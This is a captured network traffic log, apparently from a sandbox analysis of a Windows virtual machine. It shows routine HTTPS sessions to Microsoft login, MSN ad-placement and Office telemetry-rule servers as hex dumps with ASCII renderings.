2024-11-23 18:52:11 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 68 69 54 42 45 38 77 50 46 30 36 76 31 33 67 45 69 49 33 2f 75 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: hiTBE8wPF06v13gEiI3/uA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49715	40.126.53.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:12 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-23 18:52:12 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 18:52:13 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 18:51:13 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: d902a473-374c-4367-94b5-94feab82ace0 PPServer: PPV: 30 H: SN1PEPF0004018A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 18:52:12 GMT Connection: close Content-Length: 11177
2024-11-23 18:52:13 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49716	40.126.53.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:12 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-23 18:52:12 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 18:52:13 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 18:51:13 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: 31b8b874-3899-4616-8af5-ddd8f66b30fb PPServer: PPV: 30 H: SN1PEPF0002FA73 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 18:52:13 GMT Connection: close Content-Length: 11177
2024-11-23 18:52:13 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49717	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:13 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T185209Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a78092d2d8a54d5791d67ad074ca2302&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598354&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598354&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAS0nTAG0r5FP4egj0aXX0O3bGC5YqNfbku8Y0fQv3bH8+IetNBi5ZEoojsRgnATDbaf3+NEWVM2MdOoMz6S/OzR2MjoOIC7twMdNWvC/mIGgR+Ok/lJECiqbEiD05vzxiZt8DM5i6FpPIm7smTPQhH2q9gEBaIF6SbXmkaYJB8Kyo+ZuVeAPHkLb1cMuQgfnwAFEG9+vnwFGkK4YqLi/aAGJqStal0oGIuFFy+8BnYUP6KJLyT4ooxiJ0hwYpoNr66E+kpb6H0GpAkKyZomoYWjU/vSCbMnosx/l+z6eoyR5BuUtDTJmSB6110AzNt6SPtu5/ZyRIcjJO88gw5ojupkQZgAAEJiFO7mug/4D2EKNZ+XKoYKwAUpZLeW4a5iAkZ0TLFSXyX8yVgJa7rRGXdHzm9ar9ptals80mLc9opxs0pcfXReBcaL7X5dZa0aL1SgCfywXYO3fPE9G2pJMAxRnsT3gzUjZ+2ApK65lkugo7cwh+CphnrEpZpKrML1Jk+CANQpCZvSds+xEYD9HpifZg+cMjYDcVxKdgNfY7oc/xLbmY/R9g6lRlI8T+anA3YQ7ZTQqPWRif/slLO3QZfXrfuwjAs235r7pw1ihU+iB3xB602il14JzybopTw2SpynNxqJu6m3t1C4lmaECrnirKhUDpMTWIZt3pBHKDiCm41H/FXNZatnSO8Ve11lxQ3A/z/2yY5QkKKs0Q13CbR7+wNPFNladpN+k4ZB78FfVG40fjeibQvt9DdfqCEZeYLMA5bfFNQWkEv4PF4+EyC0hSspFHQpaZ4A+OXRFQzTBTsKNk384J9wPQuFI6UrYW5yKzOxWEqGAMBoKTT2YCHQZwVLE9qXvNI6EXivVB008V1O4Di7erXFL1bfBhBUNYJXfhQUTbKSpDwky9v1S7JSn0hcLH+i97BQCWhYt3mfMB4MdH5Ng3tcB&p= Cache-Control: no-cache MS-CV: j1+60tOnT0mHt29r.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 18:52:14 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23572 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: As4Vlkx2w2wAcXEEz+mnaz5nwsC8qyqSQ61tepLuTjA+fydTV2PL3sWgjHoEjEv6xla+0yGQcW+Bk84UhNSpfK1RHVbJx9LQmT0eYbMiNCrTCSyPNcMyy7WGUgvzDpp7bTYjOI4XtqMMjBnqW11/TBf3tcLGJ4QxSglRqW5XsCEE5HeURMRUMxJJXRGvMeAwPYgjrhGQOsdLdmzrvSQHnNpeSoo5CdkMGaftt/bdzyfE3Dn6Y2+BBvYbFUaLAh2n3jH49CABja8cXHducDQ0UrRb9x03PtnHjN6SPoDKdyFq8kumGD33PMb56hkxuOBpRmtir4Z5cR1yfa6ZAZMPqQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 18:52:13 GMT Connection: close
2024-11-23 18:52:14 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-23 18:52:14 UTC	8003	IN	Data Raw: 45 2d 44 41 41 30 2d 30 43 30 38 42 38 46 46 32 41 45 36 5c 5c 75 30 30 32 36 64 65 76 69 63 65 49 64 3d 36 39 36 36 35 35 35 33 32 30 39 31 32 37 33 35 5c 5c 75 30 30 32 36 61 6e 69 64 3d 44 41 31 38 43 38 38 32 35 33 35 36 42 41 43 34 45 37 42 32 33 30 36 36 46 46 46 46 46 46 46 46 5c 22 2c 5c 22 65 69 64 5c 22 3a 7b 5c 22 74 5c 22 3a 5c 22 74 78 74 5c 22 2c 5c 22 74 78 5c 22 3a 5c 22 55 32 56 68 63 6d 4e 6f 51 57 51 6a 4f 44 51 34 4e 6a 6b 78 4d 54 41 34 4d 6a 59 34 4d 6a 6b 6a 4d 6a 4d 7a 4e 6a 59 32 4f 44 4d 32 4f 44 45 77 4e 54 67 78 4e 67 3d 3d 5c 22 7d 2c 5c 22 5f 66 6c 69 67 68 74 5c 22 3a 5c 22 5c 22 7d 7d 22 7d 2c 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c Data Ascii: E-DAA0-0C08B8FF2AE6\\u0026deviceId=6966555320912735\\u0026anid=DA18C8825356BAC4E7B23066FFFFFFFF\",\"eid\":{\"t\":\"txt\",\"tx\":\"U2VhcmNoQWQjODQ4NjkxMTA4MjY4MjkjMjMzNjY2ODM2ODEwNTgxNg==\"},\"_flight\":\"\"}}"},{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:14 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:14 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:14 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: 91a9dc6d-001e-0028-4620-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185214Z-174c587ffdfcj798hC1TEB9bq400000003e000000000h147 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:14 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 18:52:15 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 18:52:15 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 18:52:15 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 18:52:15 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 18:52:15 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 18:52:15 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
